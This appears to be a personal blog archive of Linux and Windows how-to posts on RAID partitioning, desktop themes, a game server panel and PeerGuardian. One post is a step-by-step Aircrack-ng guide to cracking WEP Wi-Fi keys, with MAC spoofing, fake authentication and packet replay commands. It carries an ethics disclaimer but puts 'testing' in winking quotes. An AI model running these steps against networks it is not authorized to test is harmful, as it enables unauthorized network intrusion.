CentOS LVM and Software RAID Partitioning Instructions

Sunday, May 30th, 2021

Installing and Configuring CentOS to Host KVM Virtual Machines

GUI

When configuring a fresh install of CentOS for a KVM host machine (the main server that hosts all of the virtual machines), I like to run a GUI to make managing some of the virtual machines easier.  Thus, during install, choose the options for CentOS with Minimal GUI:

RAID 10 LVM Partitions

When configuring the hard drive partitions, set it up to use RAID 10 LVM SOFTWARE RAID:

Create volume group called "vms" without the quotes that is setup as RAID 10 (set volume group space to be as large as possible).

Set the "/" partition to 100GB XFS LVM (RAID10).

Set the "swap" partition to 32GB.

Only setup those two partitions.  The remaining space in the RAID 10 volume group "vms" will be used for KVM containers (and the remaining space does NOT need to be assigned to any mount points).

That's all.

Dell c1100 CS24-TY Latest BIOS and BMC Firmware Files

Wednesday, August 19th, 2020

Dell c1100 CS24-TY Latest BIOS and BMC Firmware Files

Download the latest BIOS and BMC Firmware Files for the Dell c1100 CS24-TY 1U Server

The file above contains instructions and guides for updating both the BIOS and BMC Firmware to the latest released versions for official Dell c1100 CS24-TY servers and unofficial DCS or Quanta c1100 versions.

For Quanta or DCS servers, follow this guide:

https://johannes.skartland.net/2015/11/flashing-c1100/  | Archived Version

How to Make MATE Look Like Windows XP using the Luna Theme

Sunday, April 14th, 2013

Make MATE or GNOME2 Look Like Windows XP Using the Luna Theme

If you want your Linux installation to look like the original theme used in Windows XP, you can do that! This guide will walk you through the process of easily making any MATE or GNOME2 Desktop Environment look like the Windows XP GUI. The Luna Theme can be downloaded here and installed using our simple installation script. If you already have MATE installed or are already running GNOME2, skip to the Luna Theme install instructions.

Install MATE on Ubuntu:

Run the below commands for your matching Ubuntu version in a terminal to install MATE.  To find out which version of Ubuntu you're running, use this command:

lsb_release -a

For Ubuntu 12.04:

sudo add-apt-repository "deb http://packages.mate-desktop.org/repo/ubuntu precise main"
sudo apt-get update 
sudo apt-get --yes --quiet --allow-unauthenticated install mate-archive-keyring 
sudo apt-get update
sudo apt-get install -y mate-desktop-environment

For Ubuntu 14.04:

sudo apt-add-repository ppa:ubuntu-mate-dev/ppa
sudo apt-add-repository ppa:ubuntu-mate-dev/trusty-mate
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install -y mate-desktop-environment-extras

For Ubuntu 16.04:

sudo add-apt-repository ppa:ubuntu-mate-dev/xenial-mate
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install -y mate-desktop-environment

For Other Distributions (Distros):

http://wiki.mate-desktop.org/download

Installing the Luna Theme:

Our version of the Luna theme has been converted and ported over to GTK3, so it should work with all newer flavors of Linux running MATE while still working on older Linux installs running GNOME2.To install the Luna Theme which will make Linux look like Windows XP, run the following commands. The theme files will be downloaded and saved in your Downloads directory.

cd ~/Downloads
wget -O linux_xp_luna_theme_install.tar.gz http://dinofly.com/files/linux_xp_luna_theme_install.tar.gz
mkdir Luna
tar -zxvf linux_xp_luna_theme_install.tar.gz -C Luna
cd Luna
sudo rm -rf /usr/share/themes/Luna
rm -rf ~/.themes/Luna
sudo bash install.sh

Next, Right Click on the Desktop, and choose "Change Desktop Background".  Click on the "Themes" tab.  Select "Luna".  Click on the "Background" tab.  If you want the default XP wallpaper set as your background, click on the "Add" button.   Select your "Pictures" folder.  Select "luna_background.jpg".  Click "Open".  Click on "Close" to change it. 

Now, MATE or GNOME2 looks like XP!  Enjoy!  This theme was copied from Ylmf OS 3.0.

WinRar SFX Custom Start In and Target Paths on Desktop Shortcuts

Saturday, January 19th, 2013

WinRar SFX Custom Start In and Target Paths

When creating a self extracting installation wizard using WinRar, you may want to create a shortcut to your program on the user's desktop.  Typically, these parameters are specified in the "SFX options…" dialog.  In the "Advanced SFX options", click on the "Advanced" tab.  Here, you'll see a section called "Shortcuts".  If you create a shortcut using the "Add shortcut…" button, WinRAR will typically leave out an important undocumented feature.

If you create a desktop shortcut using the "Add shortcut…" button, make sure you set the "Destination folder" to just a slash "\" (no quotes) or the shortcut on the desktop will have the following properties:

Target: "D:\Install Directory\YourProgram.exe"
Start in:

Notice, there is no "Start in:" path.  To fix this, you need to add a "\" to the desktop shortcut parameters manually like so:

D, yourProgramsName.exe, \, "Shortcut Description", "Shortcut name",

Or, make sure you place a "\" (no quotes) for the "Destination folder" in the add shortcut helper.

This problem only affects desktop shortcuts and can be fixed by adding a "\" to the parameters for each desktop shortcut after the program's name.

Open Game Panel Windows Installation Guide

Saturday, July 28th, 2012

Open Game Panel Windows Installation Guide

Open Game Panel (OGP) is a free, open source game server panel.  OGP allows server administrators to manage multiple game servers and assign users to those servers.  These users are then allowed to login and manage their rented game servers.  Users can stop, start, restart, and edit command line parameters for their servers.  FTP management is also included in the Linux version.  OGP does have a Windows version, however, it is difficult to setup.  However, this guide will walk you through everything you need to know.

General Information and Notes

  • Some links used in this guide will only work from your local server.
  • I installed ZPanelX and OGP on a Windows 7 server, and yes, they are working.
  • OGP is short for Open Game Panel, if you didn't already know.

Step 1:  Download and Install Prerequisites

Open Game Panel works in conjunction with a web hosting control panel and requires web server software.  To make this guide as simple as possible, it is recommended to install the ZPanelX package, which includes everything you'll need to run Open Game Panel.  Download both the Core and Stack ZPanelX packages here:

ZPanelX Hosting Control Panel & Software for Windows

Install the Server Stack version first, and then run the Core version to setup your web panel and login information. It's really as simple as running the installation executables and following the installation prompts.

After ZPanelX has been installed, download the SVN version of OGP from here: http://hldstart.svn.sourceforge.net/viewvc/hldstart/trunk/.  From the SVN page, just click on "Download GNU tarball".  This will download a compacted zipped file which can be open using 7-Zip or WinRar.  Extract the files.  From the extraction directory, copy the upload folder to the C:\zpanel\panel directory. Rename the folder to opengamepanel.

Open up the php.ini file located in C:\zpanel\bin\php and change the following line:

display_errors = Off

To:

display_errors = On

Keep the php.ini file open, as we'll need to change another setting after installing PEAR, a module required by OGP to run.

Step 2:  Installing PEAR For Windows

To install the PHP PEAR module for Windows, save this file containing the patched PEAR PHP installation script, and extract it to the C:\zpanel\panel directory.  Run the PEAR installation by following this URL from your LOCAL server: http://localhost/go-pear.php.  Read the prompt and go to the next page.  On the installation page under the Configuration section, you'll need to make the following changes:

For "1. Installation prefix ($prefix)", use the path of:

C:\zpanel\bin\php\pear

Keep the rest of the settings set to their default value. Click Install. After PEAR has been successfully installed, go back to your php.ini file and find your include path:

Change:

; include_path = ".;C:\php\includes;"

To:

include_path = ".;C:\zpanel\bin\php\pear\PEAR;"

Save your PHP.ini file. Now, before your changes will take effect, you must restart the Apache daemon. Do this by going to Start –> All Programs –> ZPanel –> Management –> Apache Monitor

When the Apache monitor loads, click Stop, and then click Start.

Step 3:  Creating Database and Users:

Login to ZPanel using your login and password that was created during ZPanelX installation. Under Database Management, click on MySQL Database. Create a new database with any name. Once the database has been created, go back to the main Admin page. Under Database Management, click on MySQL Users. Assign a user to the database you just created… this will be the login and the user's password will be generated after assigning the user to a database. Save the database name, login, and password, as you will need these values when installing OGP.

Start the installation of OGP from your LOCAL server:

Start OGP Install

After installing OGP, it's time we installed the Windows server agent program:

Windows OGP x64 Agent Install DownloadWindows OGP x86 Agent Install Download – (Create an account and login before you can access the download!)

Install the OGP Windows Agent program.  Run the agent_stop.bat file in the OGP installation directory after the installation has finished to stop OGP.  To run OGP without using the service account, simply use these agent start and stop scripts instead.

Start the agent. Login to OGP, create a server, use the encryption key you just created, and for the username use your Windows username.

The server should be added successfully and show up as online.  You can now setup and administrate game servers on your Windows server!

Aircrack WEP Testing Guide

Sunday, March 25th, 2012

Installing and Using Aircrack-ng

The following guide has been written to help you install and configure Aircrack-ng. It also includes a step by step guide which will help you crack wireless network WEP encryption. This guide should only be used for ethical purposes.

Installation:

Open a new terminal and use the following command to install aircrack-ng:

sudo apt-get install aircrack-ng

Ubuntu will now download and automatically install aircrack-ng.

Compat-Wireless Channel -1 Problem:

Newer versions of Ubuntu 10.04 and up have a problem configuring wireless monitoring devices to listen on a particular wireless channel.  In fact, when attempting to create a wireless device in monitor mode, you will see that the channel is stuck on -1 [an invalid wireless channel number].  This is due to a bug in the packaged compat-wireless drivers built into the kernel of Ubuntu.  The solution is to download, compile, and install the latest compat-wireless driver by using this guide:

Open a new terminal, and use this script:

wget http://www.orbit-lab.org/kernel/compat-wireless-3-stable/v3.3/compat-wireless-3.3-rc6-1.tar.bz2
tar -jxf compat-wireless-3.3-rc6-1.tar.bz2
cd compat-wireless-3.3-rc6-1
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
nano scripts/update-initramfs
#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build
#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build
#*** Example: KLIB=/lib/modules/3.1.0/build
make
sudo make install
sudo make wlunload

To find the value for $(uname -r), open a new terminal and type:

uname -r

Use the value you receive for the reference in the above code

Restart your linux machine.

Testing WEP Networks

Stop Conflicting Services:

Open a new terminal and run the following commands:

sudo service network-manager stop
sudo service avahi-daemon stop
sudo service upstart-udev-bridge stop

Retrieve Wireless Devices List:

In a terminal, type the following command:

iwconfig

Now List / Scan All Networks:

Run the following command in the same terminal:

sudo airodump-ng [WIRELESS_DEVICE_NAME_HERE Example: wlan2]

Example:

sudo airodump-ng wlan2

When you're finished, press ctrl+c to stop the scanning process. Save the entire line of information for the network you wish to "test"

Create your monitoring device:

In the same terminal, run this command:

sudo airmon-ng start [WIRELESS_DEVICE_NAME_HERE Example: wlan2] [channel number of wireless access point you want to break]

Example:

sudo airmon-ng start wlan2 11

The above line should create a listening interface on your wireless adapter. Typically, in ubuntu, this is mon0

Change your adapter's MAC address on the listening interface:

Run the following command in the same terminal to change your MAC address:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=[FAKE_MAC_LIKE AA:22:11:11:11:11]
sudo ifconfig mon0 up

Example:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=AA:22:11:11:11:11
sudo ifconfig mon0 up

Test Wireless Injection:

Start "testing" the desired access point by running these commands:

In the same terminal, do:

sudo aireplay-ng -9 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] mon0

Example:

sudo aireplay-ng -9 -e test -a 00:AE:6B:61:67:F2 mon0

Flags:

-9 means injection test
-e name species wireless network name for test
-a access point MAC address
mon0 is the wireless interface

You can retrieve all of the flag information you need from the output you received by listing networks.

If you receive a message stating "injection is working!" run this command in the same terminal:

sudo airodump-ng -c [ACCESS_POINT_WIRELESS_CHANNEL] --bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -w [CAPTURE_FILE_NAME] mon0

Example:

sudo airodump-ng -c 11 --bssid 00:AE:6B:61:67:F2 -w output mon0

Flags:

-c 11 is the channel for the wireless network
--bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
 -w [CAPTURE_FILE_NAME]

Open a New Terminal and Run This:

sudo aireplay-ng -1 0 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE] mon0

Example:

sudo aireplay-ng -1 0 -e test -a 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Flags:

-1 means fake authentication
0 resassociation timing in seconds
-e [WIRELESS_NETWORK_NAME]
-a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
-h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE]

You should receive a message stating "Authentication Successful"

Open a New Terminal and Run:

sudo aireplay-ng -3 -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [FAKED_ADAPTER_MAC_ADDRESS] mon0

Example:

sudo aireplay-ng -3 -b 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Go back to the terminal that shows the beacons scanning information. Under #/s column, when it reaches over 10000, do this:

Open a New Terminal

sudo aircrack-ng -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] [CAPTURE_FILE_NAME]*.cap

Example:

sudo aircrack-ng -b 00:AE:6B:61:67:F2 output*.cap

You should receive the key.

Sources:

HackAVision Aircrack WEP / WPA / WPA2 Cracking Guide

Aircrack-ng WEP Cracking Guide

PeerGuardian Linux Ubuntu Prerequisites and Install Guide

Saturday, March 24th, 2012

PeerGuardian Installation Guide Ubuntu / Debian

Installing PeerGuardian:

Open a new terminal and install the prerequisites for PeerGuardian Linux but using the following commands:

sudo apt-get install libdbus-1-dev zlib1g-dev iptables libnetfilter-queue-dev libnfnetlink-dev qt4-bin-dbg qt4-dev-tools qt4-bin-dbg g++ libpolkit-qt-1-1 libpolkit-qt-1-dev

Download the latest source of PeerGuardian Linux from:  http://sourceforge.net/projects/peerguardian/files/PeerGuardian%20Linux/

Open a terminal, change to the peerguardian source directory, and run the configure file to generate the makefile.

./configure --sysconfdir=/etc

If you get an error stating that looks like this:

checking for ZLIB... configure: error: Package requirements (zlib) were not met:

No package 'zlib' found

Consider adjusting the PKG_CONFIG_PATH environment variable if you
installed software in a non-standard prefix.

Alternatively, you may set the environment variables ZLIB_CFLAGS
and ZLIB_LIBS to avoid the need to call pkg-config.
See the pkg-config man page for more details.

You'll need to download and compile the source of zlib from  http://www.zlib.net/

To do this, just change to the directory of the extracted zlib folder, run:

./configure
sudo make
sudo make install

Now, go back to the peerguardian source directory, and re-run ./configure

You will not receive this error anymore.  Why does this happen in the first place?  Installing zlib1g-dev should have been enough to satisfy this requirement, but for some reason it doesn't work sometimes and could be a bug.

Errors Post Installation:

BELOW ISSUE (BOTH Bricking your System and Resolv.conf Issue) APPEARS TO HAVE BEEN FIXED IN MAY of 2013
I'm going to leave this here though in case someone needs it.
 

As of 3/17/13, I've noticed that installing Peerguardian Linux from the latest SourceForge source causes a number of serious problems that could brick your Linux install. You must run the following commands after "make install" is completed to avoid running into problems.

If your gksudo or sudo commands no longer work after installing because of a "Unable to copy the user's .Xauthorization file" error message, your .Xauthority file may no longer exist.  To fix this issue, run the following commands:

gksudo synaptic
sudo chown youruser:youruser ~/.Xauthority
chmod 600 ~/.Xauthority

If the above does not work for you, try this:

cd ~
touch .Xauthority
sudo chown youruser:youruser ~/.Xauthority
chmod 600 ~/.Xauthority 

For some reason, the installer also changes the permissions on the tmp system folder.  To fix this, run the following command:

sudo chmod 1777 /tmp

Peerguardian Linux can also break your DNS settings rendering your internet connection useless.  To fix this issue, run the following commands:

sudo nano /etc/resolv.conf

In it, put your router's dns information in. For example:

nameserver 192.168.1.1

Save and close the file.  Everything should be good to go and your system is not hosed from a buggy compilation of Peerguardian Linux